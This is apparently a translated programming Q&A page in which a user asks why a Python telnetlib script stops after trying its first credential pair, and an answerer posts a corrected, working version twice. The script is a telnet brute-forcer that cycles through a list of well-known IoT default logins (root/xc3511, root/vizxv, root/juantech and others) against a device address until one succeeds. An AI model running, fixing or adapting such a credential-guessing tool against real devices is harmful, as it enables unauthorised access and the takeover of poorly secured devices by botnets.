Python 3.x 通过迭代元组读取用户名和密码

Python 3.x 通过迭代元组读取用户名和密码,python-3.x,telnetlib,Python 3.x,Telnetlib,我试图使用python3 telnetlib库连接到设备,但我不想指定一个用户名/密码(如下所示),而是想从元组中读取凭据,并遍历它们,直到找到匹配项 下面是一个使用单一用户名的telnetlib的示例 import telnetlib import sys import getpass bot = telnetlib.Telnet("192.168.1.128") bot.read_until(b"login: ") bot.write(("pi\n").encode('ascii')) b

我试图使用python3 telnetlib库连接到设备,但我不想指定一个用户名/密码(如下所示),而是想从元组中读取凭据,并遍历它们,直到找到匹配项

下面是一个使用单一用户名的telnetlib的示例

import telnetlib
import sys
import getpass

bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))
我已经尝试了下面的脚本,但是脚本确实连接了,但是只尝试了第一个用户名和密码,然后挂起,而没有尝试任何其他凭据

非常感谢您的帮助

 passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]


def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.131', timeout=10)
    ip = '192.168.0.131'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect([b"Password: ", b"password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")
            tn.read_all().decode('ascii')

            (i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)

            if i != -1:
                print("Exploit failed")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
                    print("Login successful:",tuples[0], tuples[1])
                    break
                else:
                    print("Exploit failed")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

您的代码抛出异常,并通过中断for循环在except块中处理,然后以静默方式结束,这就是为什么您的程序只尝试第一个用户名和密码。 因此,作为了解发生了什么的第一步,您应该用print(e)替换break语句

我没有尝试您的代码,但这行中似乎没有定义名称“password”:

        if password:

最新答复:

passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]

def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.130', timeout=10)
    ip = '192.168.0.130'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print("Incorrect password or username")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                    print(f"Login successful: {tuples[0]}, {tuples[1]}")
                    tn.write(b"exit\n")
                    print(tn.read_all()) 
                    break
                else:
                    print(f"got this res after login:\n{res}")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

谢谢你的回复。我因感冒耽误了时间,向您道歉。我将尝试您的suggsted代码并回复您,但再次感谢您的帮助。hi@Sameh尝试了该代码,但结果相同。脚本尝试第一个用户名/密码,然后挂起,直到连接超时。它似乎仍然没有遍历元组来尝试下一个和后续的登录详细信息。你能试试新代码吗,让我知道输出是什么。谢谢。hey@Sameh尝试了您的代码,经过一些轻微的更改后,它现在可以在字典中迭代。最后一个问题是,当它成功地找到用户名/密码和登录名时,它不会停止并打印“登录成功”消息,而是继续使用更多用户名/密码在字典中迭代-有什么想法吗?非常感谢您抽出时间来帮助!您只需在打印登录成功后使用break语句即可跳出循环,我正在更新我的答案,请检查它。如果我的答案有帮助,请不要忘记将我的答案标记为已接受。并感谢销售代表。
passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]

def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.130', timeout=10)
    ip = '192.168.0.130'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print("Incorrect password or username")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                    print(f"Login successful: {tuples[0]}, {tuples[1]}")
                    tn.write(b"exit\n")
                    print(tn.read_all()) 
                    break
                else:
                    print(f"got this res after login:\n{res}")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()